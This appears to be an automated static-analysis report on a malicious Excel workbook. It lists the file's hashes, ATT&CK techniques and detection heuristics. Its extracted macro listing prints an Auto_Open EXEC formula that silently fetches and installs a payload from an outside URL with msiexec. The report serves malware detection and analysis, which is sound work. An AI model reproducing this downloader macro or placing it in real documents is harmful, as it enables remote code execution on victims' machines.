Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5128f294290b31eb…

MALICIOUS

Office (OLE)

181.5 KB Created: 2018-12-19 10:42:12 Authoring application: Microsoft Excel First seen: 2019-04-21
MD5: 69d63000b307e184e56ec052f5897357 SHA-1: 817ff1f956a4e93140d5e7cabb770c5807c14fb5 SHA-256: 5128f294290b31eb4f3457365e8b850847f6912ec6deff7db3e07c22457df8ae
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File Execution: Malicious File

The Excel 4.0 macro sheet contains an Auto_Open entry that executes a command using msiexec.exe. This command downloads and installs a payload from the URL http://upgradeoffice365.com/pack, and then attempts to execute notepad.exe. The use of Auto_Open and dangerous functions indicates a malicious intent to download and execute a second-stage payload.

Heuristics 5

  • XLM Auto_Open workbook with payload URL or enable-content lure critical OLE_XLM_AUTOOPEN_PAYLOAD_LURE
    Workbook contains an Excel 4.0 macro sheet with Auto_Open / Auto_Close and also exposes a payload URL or enable-content lure in the OLE bytes. This combination is a high-confidence XLM downloader/social-engineering pattern even when formula recovery cannot decode the full macro chain.
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://upgradeoffice365.com/pack Referenced by macro
    • http://www.iec.chReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 611 bytes
SHA-256: cb396655925dcb13b1d9bdf58bbb0e1959c45365bea8be33e60d020ea62dbee8
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -    0 : 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0018     31 LABEL : Cell Value, String Constant - Auto_Open len=7 ptgRef3d    0 : !A1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'    0 : ,A1,EXEC("msiexec.exe val=conn rdp=pupic /i http://upgradeoffice365.com/pack /q OnLoad='c:\windows\notepad.exe'"),""
'    0 : ,A2,HALT(),""